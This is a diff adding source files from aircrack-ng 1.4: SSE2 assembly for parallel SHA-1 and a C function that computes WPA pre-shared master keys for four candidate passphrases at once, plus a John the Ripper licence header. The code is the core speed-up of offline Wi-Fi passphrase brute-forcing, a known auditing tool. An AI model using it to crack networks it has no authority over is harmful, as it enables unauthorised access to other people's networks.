+#if defined(__x86_64__) && (defined(__CYGWIN__) && !defined(__clang__))
+#define subRoundY(a, b, c, d, e, f, k, data)    \
+	movdqa ((data- 3)*16)(ecx_rdx), tmp1;   \
+        pxor   ((data- 8)*16)(ecx_rdx), tmp1;   \
+        pxor   ((data-14)*16)(ecx_rdx), tmp1;   \
+        pxor   ((data-16)*16)(ecx_rdx), tmp1;   \
+        movdqa   tmp1, tmp2;                    \
+        pslld    $1, tmp1;                      \
+        psrld   $31, tmp2;                      \
+        por    tmp2, tmp1;                      \
+        movdqa  tmp1, (data*16)(ecx_rdx);       \
+        paddd  tmp1, e;                         \
+        f(b,c,d);                               \
+        movdqa   a, tmp2;                       \
+        movdqa   a, tmp3;                       \
+        paddd  tmp1, e;                         \
+        pslld    $5, tmp2;                      \
+        psrld   $27, tmp3;                      \
+        por    tmp3, tmp2;                      \
+        paddd  tmp2, e;                         \
+        movdqa   b, tmp2;                       \
+        pslld  $30, b;                          \
+        paddd  MANGLE(k,shasse2_data), e;                    \
+        psrld  $2, tmp2;                        \
+        por    tmp2, b;
+#else
+#define subRoundY(a, b, c, d, e, f, k, data)    \
+	movdqa ((data- 3)*16)(ecx_rdx), tmp1;   \
+        pxor   ((data- 8)*16)(ecx_rdx), tmp1;   \
+        pxor   ((data-14)*16)(ecx_rdx), tmp1;   \
+        pxor   ((data-16)*16)(ecx_rdx), tmp1;   \
+        movdqa   tmp1, tmp2;                    \
+        pslld    $1, tmp1;                      \
+        psrld   $31, tmp2;                      \
+        por    tmp2, tmp1;                      \
+        movdqa  tmp1, (data*16)(ecx_rdx);       \
+        paddd  tmp1, e;                         \
+        f(b,c,d);                               \
+        movdqa   a, tmp2;                       \
+        movdqa   a, tmp3;                       \
+        paddd  tmp1, e;                         \
+        pslld    $5, tmp2;                      \
+        psrld   $27, tmp3;                      \
+        por    tmp3, tmp2;                      \
+        paddd  tmp2, e;                         \
+        movdqa   b, tmp2;                       \
+        pslld  $30, b;                          \
+        PRELOAD(k,shasse2_data)				\
+        paddd  MANGLE(k,shasse2_data), e;                    \
+        psrld  $2, tmp2;                        \
+        por    tmp2, b;
+#endif 
+.text
+
+// arg 1 (eax) (64bit: rdi): context (4*20 bytes)
+
+ shasse2_init:
+_shasse2_init:
+
+        INIT_PIC(shasse2_init)
+        PRELOAD(const_init_a,shasse2_init)
+        movdqa   MANGLE(const_init_a,shasse2_init), ctxa
+        PRELOAD(const_init_b,shasse2_init)
+        movdqa   MANGLE(const_init_b,shasse2_init), ctxb
+        PRELOAD(const_init_c,shasse2_init)
+        movdqa   MANGLE(const_init_c,shasse2_init), ctxc
+        PRELOAD(const_init_d,shasse2_init)
+        movdqa   MANGLE(const_init_d,shasse2_init), ctxd
+        PRELOAD(const_init_e,shasse2_init)
+        movdqa   MANGLE(const_init_e,shasse2_init), ctxe
+
+        movdqa   ctxa, 0(eax_rdi)
+        movdqa   ctxb, 16(eax_rdi)
+        movdqa   ctxc, 32(eax_rdi)
+        movdqa   ctxd, 48(eax_rdi)
+        movdqa   ctxe, 64(eax_rdi)
+        END_PIC()
+
+        ret
+
+// arg 1 (eax) (64bit: rdi): context (4*20 bytes)
+// arg 2 (edx) (64bit: rsi) : digests (4*20 bytes)
+
+ shasse2_ends:
+_shasse2_ends:
+
+        INIT_PIC(shasse2_ends)
+	movdqa    0(eax_rdi), ctxa
+        movdqa   16(eax_rdi), ctxb
+        movdqa   32(eax_rdi), ctxc
+        movdqa   48(eax_rdi), ctxd
+        movdqa   64(eax_rdi), ctxe
+
+        PRELOAD(const_ff00,shasse2_ends)
+        movdqa   MANGLE(const_ff00,shasse2_ends), tmp3
+        movdqa   ctxa, tmp1
+        movdqa   ctxb, tmp2
+        pand   tmp3, ctxa
+        pand   tmp3, ctxb
+        PRELOAD(const_00ff,shasse2_ends)
+        movdqa   MANGLE(const_00ff,shasse2_ends), tmp3
+        pand   tmp3, tmp1
+        pand   tmp3, tmp2
+        psrld  $8, ctxa
+        psrld  $8, ctxb
+        pslld  $8, tmp1
+        pslld  $8, tmp2
+        por    tmp1, ctxa
+        por    tmp2, ctxb
+        movdqa   ctxa, tmp1
+        movdqa   ctxb, tmp2
+        psrld  $16, ctxa
+        psrld  $16, ctxb
+        pslld  $16, tmp1
+        pslld  $16, tmp2
+        por    tmp1, ctxa
+        por    tmp2, ctxb 
+        movdqa   ctxa,  0(edx_rsi)
+        movdqa   ctxb,  16(edx_rsi)
+
+        PRELOAD(const_ff00,shasse2_ends)
+        movdqa   MANGLE(const_ff00,shasse2_ends), tmp5
+        movdqa   ctxc, tmp1
+        movdqa   ctxd, tmp2
+        movdqa   ctxe, tmp3
+        pand   tmp5, ctxc
+        pand   tmp5, ctxd
+        pand   tmp5, ctxe
+        PRELOAD(const_00ff,shasse2_ends)
+        movdqa   MANGLE(const_00ff,shasse2_ends), tmp5
+        pand   tmp5, tmp1
+        pand   tmp5, tmp2
+        pand   tmp5, tmp3
+        psrld  $8, ctxc
+        psrld  $8, ctxd
+        psrld  $8, ctxe
+        pslld  $8, tmp1
+        pslld  $8, tmp2
+        pslld  $8, tmp3
+        por    tmp1, ctxc
+        por    tmp2, ctxd
+        por    tmp3, ctxe
+        movdqa   ctxc, tmp1
+        movdqa   ctxd, tmp2
+        movdqa   ctxe, tmp3
+        psrld  $16, ctxc
+        psrld  $16, ctxd
+        psrld  $16, ctxe
+        pslld  $16, tmp1
+        pslld  $16, tmp2
+        pslld  $16, tmp3
+        por    tmp1, ctxc
+        por    tmp2, ctxd
+        por    tmp3, ctxe
+
+        movdqa   ctxc, 32(edx_rsi)
+        movdqa   ctxd, 48(edx_rsi)
+        movdqa   ctxe, 64(edx_rsi)
+        END_PIC()
+
+        ret
+
+// arg 1 (eax) (64bit: rdi): context     (4*20 bytes)
+// arg 2 (edx) (64bit: rsi): input data (4*64 bytes)
+// arg 3 (ecx) (64bit: rdx): workspace  (1280 bytes)
+
+ shasse2_data:
+_shasse2_data:
+
+        INIT_PIC(shasse2_data)
+        movdqa    0(eax_rdi), ctxa
+        movdqa   16(eax_rdi), ctxb
+        movdqa   32(eax_rdi), ctxc
+        movdqa   48(eax_rdi), ctxd
+        movdqa   64(eax_rdi), ctxe
+
+round0:
+
+        prefetchnta (edx_rsi)
+
+        subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0,  0 );
+        subRoundX( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0,  1 );
+        subRoundX( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0,  2 );
+        subRoundX( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0,  3 );
+        subRoundX( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0,  4 );
+        subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0,  5 );
+        subRoundX( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0,  6 );
+        subRoundX( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0,  7 );
+        subRoundX( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0,  8 );
+        subRoundX( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0,  9 );
+        subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0, 10 );
+        subRoundX( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0, 11 );
+        subRoundX( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0, 12 );
+        subRoundX( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0, 13 );
+        subRoundX( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0, 14 );
+        subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0, 15 );
+        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0, 16 );
+        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0, 17 );
+        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0, 18 );
+        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0, 19 );
+
+round1:
+
+        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 20 );
+        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 21 );
+        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 22 );
+        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 23 );
+        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 24 );
+        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 25 );
+        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 26 );
+        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 27 );
+        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 28 );
+        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 29 );
+        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 30 );
+        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 31 );
+        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 32 );
+        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 33 );
+        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 34 );
+        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 35 );
+        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 36 );
+        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 37 );
+        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 38 );
+        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 39 );
+
+round2:
+
+        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 40 );
+        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 41 );
+        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 42 );
+        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 43 );
+        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 44 );
+        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 45 );
+        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 46 );
+        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 47 );
+        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 48 );
+        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 49 );
+        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 50 );
+        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 51 );
+        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 52 );
+        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 53 );
+        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 54 );
+        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 55 );
+        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 56 );
+        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 57 );
+        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 58 );
+        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 59 );
+
+round3:
+
+        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 60 );
+        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 61 );
+        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 62 );
+        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 63 );
+        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 64 );
+        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 65 );
+        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 66 );
+        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 67 );
+        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 68 );
+        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 69 );
+        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 70 );
+        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 71 );
+        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 72 );
+        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 73 );
+        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 74 );
+        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 75 );
+        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 76 );
+        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 77 );
+        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 78 );
+        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 79 );
+
+        paddd    0(eax_rdi), ctxa
+        paddd   16(eax_rdi), ctxb
+        paddd   32(eax_rdi), ctxc
+        paddd   48(eax_rdi), ctxd
+        paddd   64(eax_rdi), ctxe
+
+        movdqa    ctxa,  0(eax_rdi)
+        movdqa    ctxb, 16(eax_rdi)
+        movdqa    ctxc, 32(eax_rdi)
+        movdqa    ctxd, 48(eax_rdi)
+        movdqa    ctxe, 64(eax_rdi)
+        END_PIC()
+
+        ret
+
+// returns 0 if neither MMX nor SSE2 are supported; 1 if MMX is supported; 2 if SSE2 is also supported
+ shasse2_cpuid:
+_shasse2_cpuid:
+#ifndef __x86_64__
+		pushfl
+		pushfl
+		popl	%eax
+		movl	%eax, %ecx
+		xorl	$0x200000, %eax
+		push	%eax
+		popfl
+		pushfl
+		popl	%eax
+		popfl
+		xorl	%ecx, %eax
+		jnz		do_cpuid
+		ret
+do_cpuid:
+#endif   	
+
+#ifdef __x86_64__
+		push    %rbx
+		push    %rcx
+		push    %rdx
+#else
+		push	%ebx
+		push	%ecx
+		push	%edx
+#endif		
+   		movl	$1, %eax
+   		cpuid
+   		
+		testl	$0x00800000, %edx  // bit 23 (MMX)
+		jz		no_mmx
+   		testl	$0x04000000, %edx  // bit 26 (SSE2)
+   		jz		mmx_only
+   		
+		// sse2 supported:
+		movl	$2, %eax
+		jmp		cpuid_exit
+		
+mmx_only:
+		movl	$1, %eax
+		jmp		cpuid_exit
+
+no_mmx:
+		movl	$0, %eax
+
+cpuid_exit:
+#ifdef __x86_64__
+		pop		%rdx
+		pop		%rcx
+		pop		%rbx
+#else
+		pop		%edx
+		pop		%ecx
+		pop		%ebx
+#endif
+		ret
+#ifdef __i386__
+#ifdef __PIC__
+#ifndef __APPLE__
+	.section .gnu.linkonce.t.__i686.get_pc_thunk.bx,"ax",@progbits
+#endif
+.globl __i686.get_pc_thunk.bx
+
+#ifdef __APPLE__
+    .private_extern  __i686.get_pc_thunk.bx
+#else
+	.hidden  __i686.get_pc_thunk.bx
+	.type    __i686.get_pc_thunk.bx,@function
+#endif
+__i686.get_pc_thunk.bx:
+	movl (%esp), %ebx
+	ret
+#endif
+#endif
+#endif
+
+
+#ifdef __ELF__
+.section .note.GNU-stack,"",%progbits
+#endif

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/sha1-sse2.h Added

@@ -0,0 +1,392 @@
+/* C code for SSE2 (i386) optimized SHA1 - License: GPLv2
+ * (c) nx5 <naplam33@msn.com>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#include <time.h>
+
+#include "crypto.h"
+
+#if defined(__i386__) || ((defined(__x86_64__) && !defined(__CYGWIN__))        \
+						  || (defined(__x86_64__) && defined(__CYGWIN__)       \
+							  && !defined(__clang__)))
+
+#ifdef OLD_SSE_CORE
+void show_result(char * key, unsigned char * pmk)
+{
+	int i;
+	printf("%-14s ", key);
+	for (i = 0; i < 32; i++) printf("%.2X", pmk[i]);
+	printf("\n");
+}
+
+#endif
+extern int shasse2_init(unsigned char ctx[80]) __attribute__((regparm(1)));
+
+extern int shasse2_ends(unsigned char ctx[80], unsigned char digests[80])
+	__attribute__((regparm(2)));
+
+extern int shasse2_data(unsigned char ctx[80],
+						unsigned char data[256],
+						unsigned char buf[1280]) __attribute__((regparm(3)));
+
+extern int shasse2_cpuid(void);
+
+#ifdef OLD_SSE_CORE
+void calc_4pmk(char * _key1,
+			   char * _key2,
+			   char * _key3,
+			   char * _key4,
+			   char * _essid,
+			   unsigned char * _pmk1,
+			   unsigned char * _pmk2,
+			   unsigned char * _pmk3,
+			   unsigned char * _pmk4)
+{
+	int slen;
+	char essid[36] __attribute__((aligned(16)));
+	char key1[128] __attribute__((aligned(16)));
+	char key2[128] __attribute__((aligned(16)));
+	char key3[128] __attribute__((aligned(16)));
+	char key4[128] __attribute__((aligned(16)));
+	unsigned char pmks[128 * 4] __attribute__((aligned(16)));
+
+	// All in double size
+	unsigned char k_ipad[256] __attribute__((aligned(16)));
+	unsigned char ctx_ipad[80] __attribute__((aligned(16)));
+	unsigned char k_opad[256] __attribute__((aligned(16)));
+	unsigned char ctx_opad[80] __attribute__((aligned(16)));
+	unsigned char buffer[256] __attribute__((aligned(16)));
+	unsigned char sha1_ctx[80] __attribute__((aligned(16)));
+	unsigned char wrkbuf[1280] __attribute__((aligned(16)));
+	unsigned i, *u, *v, *w, *u3, *v4;
+	unsigned char *pmk1, *pmk2, *pmk3, *pmk4;
+
+	pmk1 = pmks;
+	pmk2 = pmks + 128;
+	pmk3 = pmks + 128 * 2;
+	pmk4 = pmks + 128 * 3;
+
+	memset(key1, 0, sizeof(key1));
+	memset(key2, 0, sizeof(key2));
+	memset(key3, 0, sizeof(key3));
+	memset(key4, 0, sizeof(key4));
+	memset(essid, 0, sizeof(essid));
+	memset(pmks, 0, sizeof(pmks));
+	memset(buffer, 0, sizeof(buffer));
+	memset(wrkbuf, 0, sizeof(wrkbuf));
+
+	memccpy(essid, _essid, 0, sizeof(essid));
+	memccpy(key1, _key1, 0, sizeof(key1));
+	memccpy(key2, _key2, 0, sizeof(key2));
+	memccpy(key3, _key3, 0, sizeof(key3));
+	memccpy(key4, _key4, 0, sizeof(key4));
+
+	slen = strlen(essid) + 4;
+
+	/* SSE2 available, so compute four PMKs in a single row */
+
+	memset(k_ipad, 0, sizeof(k_ipad));
+	memset(k_opad, 0, sizeof(k_opad));
+
+	memcpy(k_ipad, key1, strlen(key1));
+	memcpy(k_opad, key1, strlen(key1));
+
+	memcpy(k_ipad + 64, key2, strlen(key2));
+	memcpy(k_opad + 64, key2, strlen(key2));
+
+	memcpy(k_ipad + 128, key3, strlen(key3));
+	memcpy(k_opad + 128, key3, strlen(key3));
+
+	memcpy(k_ipad + 192, key4, strlen(key4));
+	memcpy(k_opad + 192, key4, strlen(key4));
+
+	u = (unsigned *) (k_ipad);
+	v = (unsigned *) (k_ipad + 64);
+	u3 = (unsigned *) (k_ipad + 128);
+	v4 = (unsigned *) (k_ipad + 192);
+	w = (unsigned *) buffer;
+
+	for (i = 0; i < 16; i++)
+	{
+		/* interleave the data */
+
+		*w++ = *u++ ^ 0x36363636;
+		*w++ = *v++ ^ 0x36363636;
+		*w++ = *u3++ ^ 0x36363636;
+		*w++ = *v4++ ^ 0x36363636;
+	}
+
+	shasse2_init(ctx_ipad);
+	shasse2_data(ctx_ipad, buffer, wrkbuf);
+
+	u = (unsigned *) (k_opad);
+	v = (unsigned *) (k_opad + 64);
+	u3 = (unsigned *) (k_opad + 128);
+	v4 = (unsigned *) (k_opad + 192);
+	w = (unsigned *) buffer;
+
+	for (i = 0; i < 16; i++)
+	{
+		*w++ = *u++ ^ 0x5C5C5C5C;
+		*w++ = *v++ ^ 0x5C5C5C5C;
+		*w++ = *u3++ ^ 0x5C5C5C5C;
+		*w++ = *v4++ ^ 0x5C5C5C5C;
+	}
+
+	shasse2_init(ctx_opad);
+	shasse2_data(ctx_opad, buffer, wrkbuf);
+
+	memset(buffer, 0, sizeof(buffer));
+
+	buffer[80] = buffer[84] = buffer[88] = buffer[92] = 0x80;
+	buffer[242] = buffer[246] = buffer[250] = buffer[254] = 0x02;
+	buffer[243] = buffer[247] = buffer[251] = buffer[255] = 0xA0;
+
+	essid[slen - 1] = '\1';
+
+	HMAC(EVP_sha1(),
+		 (unsigned char *) key1,
+		 strlen(key1),
+		 (unsigned char *) essid,
+		 slen,
+		 pmk1,
+		 NULL);
+	HMAC(EVP_sha1(),
+		 (unsigned char *) key2,
+		 strlen(key2),
+		 (unsigned char *) essid,
+		 slen,
+		 pmk2,
+		 NULL);
+	HMAC(EVP_sha1(),
+		 (unsigned char *) key3,
+		 strlen(key3),
+		 (unsigned char *) essid,
+		 slen,
+		 pmk3,
+		 NULL);
+	HMAC(EVP_sha1(),
+		 (unsigned char *) key4,
+		 strlen(key4),
+		 (unsigned char *) essid,
+		 slen,
+		 pmk4,
+		 NULL);
+
+	u = (unsigned *) pmk1;
+	v = (unsigned *) pmk2;
+	u3 = (unsigned *) pmk3;
+	v4 = (unsigned *) pmk4;
+	w = (unsigned *) buffer;
+
+	*w++ = *u++;
+	*w++ = *v++;
+	*w++ = *u3++;
+	*w++ = *v4++;
+	*w++ = *u++;
+	*w++ = *v++;
+	*w++ = *u3++;
+	*w++ = *v4++;
+	*w++ = *u++;
+	*w++ = *v++;
+	*w++ = *u3++;
+	*w++ = *v4++;
+	*w++ = *u++;
+	*w++ = *v++;
+	*w++ = *u3++;
+	*w++ = *v4++;
+	*w++ = *u++;
+	*w++ = *v++;
+	*w++ = *u3++;
+	*w++ = *v4++;
+
+	for (i = 1; i < 4096; i++)
+	{
+		memcpy(sha1_ctx, ctx_ipad, 80); // eran 40
+		shasse2_data(sha1_ctx, buffer, wrkbuf);
+		shasse2_ends(sha1_ctx, buffer);
+
+		memcpy(sha1_ctx, ctx_opad, 80);
+		shasse2_data(sha1_ctx, buffer, wrkbuf);
+		shasse2_ends(sha1_ctx, buffer);
+
+		u = (unsigned *) pmk1;
+		v = (unsigned *) pmk2;
+		u3 = (unsigned *) pmk3;
+		v4 = (unsigned *) pmk4;
+		w = (unsigned *) buffer;
+
+		/* de-interleave the digests */
+		*u++ ^= *w++;
+		*v++ ^= *w++;
+		*u3++ ^= *w++;
+		*v4++ ^= *w++;
+		*u++ ^= *w++;
+		*v++ ^= *w++;
+		*u3++ ^= *w++;
+		*v4++ ^= *w++;
+		*u++ ^= *w++;
+		*v++ ^= *w++;
+		*u3++ ^= *w++;
+		*v4++ ^= *w++;
+		*u++ ^= *w++;
+		*v++ ^= *w++;
+		*u3++ ^= *w++;
+		*v4++ ^= *w++;
+		*u++ ^= *w++;
+		*v++ ^= *w++;
+		*u3++ ^= *w++;
+		*v4++ ^= *w++;
+	}
+
+	essid[slen - 1] = '\2';
+
+	HMAC(EVP_sha1(),
+		 (unsigned char *) key1,
+		 strlen(key1),
+		 (unsigned char *) essid,
+		 slen,
+		 pmk1 + 20,
+		 NULL);
+	HMAC(EVP_sha1(),
+		 (unsigned char *) key2,
+		 strlen(key2),
+		 (unsigned char *) essid,
+		 slen,
+		 pmk2 + 20,
+		 NULL);
+	HMAC(EVP_sha1(),
+		 (unsigned char *) key3,
+		 strlen(key3),
+		 (unsigned char *) essid,
+		 slen,
+		 pmk3 + 20,
+		 NULL);
+	HMAC(EVP_sha1(),
+		 (unsigned char *) key4,
+		 strlen(key4),
+		 (unsigned char *) essid,
+		 slen,
+		 pmk4 + 20,
+		 NULL);
+
+	u = (unsigned *) (pmk1 + 20); // eran 20
+	v = (unsigned *) (pmk2 + 20);
+	u3 = (unsigned *) (pmk3 + 20); // eran 20
+	v4 = (unsigned *) (pmk4 + 20);
+	w = (unsigned *) buffer;
+
+	*w++ = *u++;
+	*w++ = *v++;
+	*w++ = *u3++;
+	*w++ = *v4++;
+	*w++ = *u++;
+	*w++ = *v++;
+	*w++ = *u3++;
+	*w++ = *v4++;
+	*w++ = *u++;
+	*w++ = *v++;
+	*w++ = *u3++;
+	*w++ = *v4++;
+	*w++ = *u++;
+	*w++ = *v++;
+	*w++ = *u3++;
+	*w++ = *v4++;
+	*w++ = *u++;
+	*w++ = *v++;
+	*w++ = *u3++;
+	*w++ = *v4++;
+
+	for (i = 1; i < 4096; i++)
+	{
+		memcpy(sha1_ctx, ctx_ipad, 80); // eran 40
+		shasse2_data(sha1_ctx, buffer, wrkbuf);
+		shasse2_ends(sha1_ctx, buffer);
+
+		memcpy(sha1_ctx, ctx_opad, 80);
+		shasse2_data(sha1_ctx, buffer, wrkbuf);
+		shasse2_ends(sha1_ctx, buffer);
+
+		u = (unsigned *) (pmk1 + 20); // eran 20
+		v = (unsigned *) (pmk2 + 20);
+		u3 = (unsigned *) (pmk3 + 20);
+		v4 = (unsigned *) (pmk4 + 20);
+		w = (unsigned *) buffer;
+
+		*u++ ^= *w++;
+		*v++ ^= *w++;
+		*u3++ ^= *w++;
+		*v4++ ^= *w++;
+		*u++ ^= *w++;
+		*v++ ^= *w++;
+		*u3++ ^= *w++;
+		*v4++ ^= *w++;
+		*u++ ^= *w++;
+		*v++ ^= *w++;
+		*u3++ ^= *w++;
+		*v4++ ^= *w++;
+	}
+
+	memcpy(_pmk3, pmk3, 32);
+	memcpy(_pmk4, pmk4, 32);
+	memcpy(_pmk1, pmk1, 32);
+	memcpy(_pmk2, pmk2, 32);
+
+	/*printf("\n");
+	show_result(_key1, _pmk1);
+	show_result(_key2, _pmk2);
+	show_result(_key3, _pmk3);
+	show_result(_key4, _pmk4);
+	fflush(stdout);*/
+}
+#endif
+#else
+#ifdef OLD_SSE_CORE
+void calc_4pmk(char * _key1,
+			   char * _key2,
+			   char * _key3,
+			   char * _key4,
+			   char * _essid,
+			   unsigned char * _pmk1,
+			   unsigned char * _pmk2,
+			   unsigned char * _pmk3,
+			   unsigned char * _pmk4)
+{
+	calc_pmk(_key1, _essid, _pmk1);
+	calc_pmk(_key2, _essid, _pmk2);
+	calc_pmk(_key3, _essid, _pmk3);
+	calc_pmk(_key4, _essid, _pmk4);
+}
+#endif
+#endif

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/simd-intrinsics-load-flags.h Added

@@ -0,0 +1,143 @@
+/*
+ * Based on John the Ripper and modified to integrate with aircrack
+ *
+ * 	John the Ripper copyright and license.
+ *
+ * John the Ripper password cracker,
+ * Copyright (c) 1996-2013 by Solar Designer.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * As a special exception to the GNU General Public License terms,
+ * permission is hereby granted to link the code of this program, with or
+ * without modification, with any version of the OpenSSL library and/or any
+ * version of unRAR, and to distribute such linked combinations.  You must
+ * obey the GNU GPL in all respects for all of the code used other than
+ * OpenSSL and unRAR.  If you modify this program, you may extend this
+ * exception to your version of the program, but you are not obligated to
+ * do so.  (In other words, you may release your derived work under pure
+ * GNU GPL version 2 or later as published by the FSF.)
+ *
+ * (This exception from the GNU GPL is not required for the core tree of
+ * John the Ripper, but arguably it is required for -jumbo.)
+ *
+ * 	Relaxed terms for certain components.
+ *
+ * In addition or alternatively to the license above, many components are
+ * available to you under more relaxed terms (most commonly under cut-down
+ * BSD license) as specified in the corresponding source files.
+ *
+ * For more information on John the Ripper licensing please visit:
+ *
+ * http://www.openwall.com/john/doc/LICENSE.shtml
+ *
+ * This software is
+ * Copyright (c) 2011-2015 JimF,
+ * Copyright (c) 2011-2015 magnum,
+ * and it is hereby released to the general public under the following terms:
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted.
+ */
+
